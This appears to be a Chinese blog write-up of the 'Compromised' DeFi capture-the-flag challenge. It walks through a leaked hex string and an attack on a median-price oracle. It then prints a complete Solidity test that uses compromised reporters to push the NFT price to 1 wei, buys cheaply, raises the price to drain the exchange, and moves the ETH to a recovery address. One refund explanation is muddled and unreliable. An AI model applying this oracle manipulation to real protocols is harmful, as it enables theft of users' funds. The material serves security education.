Appearance
揭秘“Compromised”:一次 DeFi 安全的深度探索
在瞬息万变的 DeFi 世界里,安全始终是发展的基石。今天,我们将带你走进一个充满挑战的 CTF 题目——“Compromised”,深入剖析一次对去中心化金融服务的一次“妥协”。
场景回顾:一丝异常的蛛丝马迹
故事的开端,源于我们对一个主流 DeFi 项目网页端的一次“闲逛”。服务器的回应,虽然表面上是标准的 HTTP/2 200 OK,却在 content-type、content-language 等信息之外,隐藏了一串看似杂乱的十六进制编码。这串编码,就像是数字世界里的暗语,预示着背后隐藏的秘密。
4d 48 67 33 5a 44 45 31 59 6d 4a 68 4d 6a 5a 6a 4e 54 49 7a 4e 6a 67 7a 59 6d 5a 6a 4d 32 52 6a 4e 32 4e 6b 59 7a 56 6b 4d 57 49 34 59 54 49 33 4e 44 51 30 4e 44 63 31 4f 54 64 6a 5a 6a 52 6b 59 54 45 33 4d 44 56 6a 5a 6a 5a 6a 4f 54 6b 7a 4d 44 59 7a 4e 7a 51 30
而与此同时,一个与链上交易所相关的“DVNFT”收藏品,正以令人咋舌的 999 ETH 天价出售。这个价格,是通过一个依赖三位“受信任”记者(reporter)的链上预言机(oracle)获取的。
挑战核心:玩转预言机,重塑价值
我们的任务,就是利用我们仅有的 0.1 ETH,在这个“Compromised”的场景中,通过操纵链上预言机,夺回交易所中所有的 ETH,并将其安全地转移到指定的恢复账户。
深入代码:预言机与交易所的秘密
为了攻破这个难题,我们需要深入分析提供的代码:
TrustfulOracleInitializer.sol&TrustfulOracle.sol: 这两份合约共同构建了预言机系统。TrustfulOracle记录了各方提供的价格,并通过中位数(median)来计算最终价格。值得注意的是,TrustfulOracle允许三个指定的地址(sources)在初始时被授予TRUSTED_SOURCE_ROLE,而TrustfulOracleInitializer的部署者则拥有INITIALIZER_ROLE。关键在于,postPrice函数允许任何拥有TRUSTED_SOURCE_ROLE的地址来更新指定代币的价格。Exchange.sol: 这个合约是核心交易场所,负责买卖DVNFT。它依赖TrustfulOracle获取DVNFT的价格,并在买入时接收 ETH,卖出时支付 ETH。buyOne函数允许用户支付 ETH 购买 NFT,但如果支付的 ETH 超过了 NFT 的实际价格,剩余的 ETH 会被退还。sellOne函数则允许用户卖出 NFT,并从交易所获得 ETH。
攻击思路:打破信任,制造价格错觉
TrustfulOracle 的核心机制在于中位数价格。如果我们可以控制其中一部分“受信任的记者”,并让他们报告一个极低的价格,那么整个预言机的中位数价格就会大幅下降。
- 首次降价: 我们首先利用其中一到两个受信任的记者,将
DVNFT的价格大幅调低,比如降到 1 wei。 - 低价购入: 此时,我们就可以以极低的成本(1 wei)从交易所购买一个
DVNFT。由于交易所的buyOne函数会将超过实际价格的 ETH 退还,我们支付 1 wei,然后交易所会将我们支付的 999 ETH 减去 1 wei 后退还给我们。这样,我们就以几乎免费的价格获得了一个 NFT,并且交易所的 ETH 余额大幅减少。 - 二次操纵: 此时,交易所的 ETH 余额显著减少,但价格仍然是通过
TrustfulOracle计算出来的。我们可以再次利用受信任的记者,将DVNFT的价格设置为交易所当前的 ETH 余额。 - 高价卖出: 拥有了 NFT 的我们,现在可以以几乎等同于交易所当前 ETH 余额的价格(虽然实际数字可能很大,但因为是“高价”,从交易所这里看,这笔交易是合理的)将 NFT “卖回”给交易所。交易所会支付给我们这笔巨额 ETH。
- 资金归集: 此时,交易所的 ETH 已经几乎被我们转移走。最后一步,我们将获取到的 ETH 发送到指定的
recovery地址。 - 恢复秩序(可选): 为了让整个过程看起来更“干净”,我们可以最后将预言机的价格恢复到初始的 999 ETH,让挑战的验证条件能够通过。
代码实现:CTF 答案解析
CTF 题目提供的答案,正是以上思路的完美体现:
solidity
function test_compromised() public checkSolved {
// 1. 首次降价:利用两个受信任的记者将价格设为 1
vm.prank(sources[0]);
oracle.postPrice("DVNFT", 1);
vm.prank(sources[1]);
oracle.postPrice("DVNFT", 1);
// 2. 低价购入:以 1 wei 购买 NFT
vm.startPrank(player);
uint256 tokenId = exchange.buyOne{value: 1 wei}();
vm.stopPrank();
// 3. 二次操纵:将价格设置为交易所剩余的 ETH 余额
uint256 exchangeBal = address(exchange).balance;
vm.prank(sources[0]);
oracle.postPrice("DVNFT", exchangeBal);
vm.prank(sources[1]);
oracle.postPrice("DVNFT", exchangeBal);
// 4. 高价卖出:将 NFT 卖回给交易所,获取所有 ETH
vm.startPrank(player);
nft.approve(address(exchange), tokenId); // 授权交易所转移 NFT
exchange.sellOne(tokenId);
// 5. 资金归集:将获取的 ETH 发送到恢复账户
uint256 value = address(player).balance - 1e17; // 留一点 gas
(bool success, ) = payable(recovery).call{value: value}("");
require(success, "Fail to send recovery");
vm.stopPrank();
// 6. 恢复秩序:将预言机价格恢复到初始值
vm.prank(sources[0]);
oracle.postPrice("DVNFT", INITIAL_NFT_PRICE);
vm.prank(sources[1]);
oracle.postPrice("DVNFT", INITIAL_NFT_PRICE);
}
安全启示:预言机的“信任”并非绝对
“Compromised” 挑战为我们敲响了警钟。它生动地展示了,即使是看似“受信任”的链上预言机,如果其设计存在漏洞(例如,容易被操纵的源头),也可能成为攻击者的突破口。在 DeFi 生态系统中,理解和审计预言机机制至关重要,任何对外部数据的依赖,都可能成为潜在的攻击向量。
通过这次“Compromised”的探索,我们不仅解决了一个棘手的 CTF 题目,更对 DeFi 安全的复杂性和重要性有了更深刻的认识。希望这篇文章能让你对 DeFi 安全领域产生更浓厚的兴趣!